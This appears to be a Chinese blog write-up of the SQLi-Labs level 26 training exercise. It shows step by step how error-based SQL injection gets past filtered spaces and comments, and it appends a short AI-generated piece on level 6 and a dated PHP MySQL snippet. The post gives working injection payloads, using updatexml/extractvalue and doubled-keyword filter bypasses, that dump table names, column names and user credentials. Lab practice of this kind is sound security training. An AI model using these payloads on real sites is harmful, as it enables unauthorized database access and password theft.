SQL-labs的第26关——空格和注释被过滤 报错注入(Get)

本文揭秘了SQL注入的实战技巧,包括检测闭合字符、获取数据库信息和数据泄露防范,提醒开发者注意网站安全性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、判断闭合方式

输入语句

?id=1\;%00

,返回页面如下:

'号可能是闭合方式。

我们输入

?id=1';%00

,返回页面如下

我们可以确定'号就是该网站的闭合符号。

2、确定数据库名的长度

输入语句

?id=1'%26%26length(database())=8;%00

,返回页面如下:

3、爆破数据表名

输入语句

?id=1'||updatexml(1,concat('~',(select+(group_concat(table_name))from+(infoorrmation_schema.tables)+where+(table_schema=database())),'~'),1);%00

,返回页面如下:

4、爆破列名

输入语句

?id=1'%26%26extractvalue(1,concat('~',(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users')aandnd(table_schema=database())),'~'));%00

,返回页面如下:

5、爆破字段内容

输入语句

?id=1'%26%26updatexml(1,concat('~',(select (group_concat(concat(id,'~',username,'~',password))) from (users)),'~'),1);%00

,返回页面如下:

我们发现返回的内容不完全,我们将语句改为:?

id=1'%26%26updatexml(1,concat('~',mid((select (group_concat(concat(id,'~',username,'~',passwoorrd))) from (users)),10,22),'~'),1);%00

,返回页面如下:

到此打靶结束

### SQLi-Labs 第六 报错注入解决方案 在SQLi-Labs第六中,目标是在存在漏洞的应用程序中利用报错注入来获取敏感信息。通过分析输入参数`id`并尝试不同的SQL语法结构可以实现这一点。 当应用程序未正确过滤用户输入时,攻击者可以通过构造特定的SQL查询字符串使服务器返回错误消息,进而泄露数据库内部的信息。对于本案例而言: - 需要构建一个能够触发MySQL错误响应的payload。 - 利用`UNION SELECT`语句结合已知列数(基于前面提到的测试得知有三列),并通过附加特殊字符让查询失败从而暴露更多细节[^2]。 具体操作方法如下所示: ```sql http://localhost/sqli-labs/Less-6/?id=-1' UNION SELECT 1,2,CONCAT(table_name),4 FROM information_schema.tables WHERE table_schema=database() -- ``` 上述URL中的请求部分包含了精心设计过的SQL片段,其目的是为了让原本正常的SELECT查询与额外定义的选择项组合起来执行;这里选择了information_schema下的tables表作为数据源,并试图提取其中的table_name字段值。由于最后一行使用了注释(`--`)使得后续可能出现的有效SQL代码被忽略不计,这样就形成了一个完整的恶意指令链路。 需要注意的是,在实际环境中实施此类技术属于非法行为,仅限于授权范围内的安全测试活动内开展研究工作。 #### PHP代码示例展示如何连接到MySQL以及发送查询命令 下面给出一段简单的PHP脚本来说明怎样建立同MySQL之间的链接系,并向它传递一条查询语句: ```php <?php $con = mysql_connect("localhost", "mysql_user", "mysql_pwd"); if (!$con) { die('Could not connect: ' . mysql_error()); } $sql = "SELECT * FROM Person"; mysql_query($sql, $con); // 进行业务逻辑处理... mysql_close($con); ?> ``` 这段代码展示了基本的数据库交互流程,但在现代Web应用开发实践中建议采用更先进的API接口如PDO或mysqli扩展替代过时的mysql_*系列函数[^3]。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hacker-小胖锅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值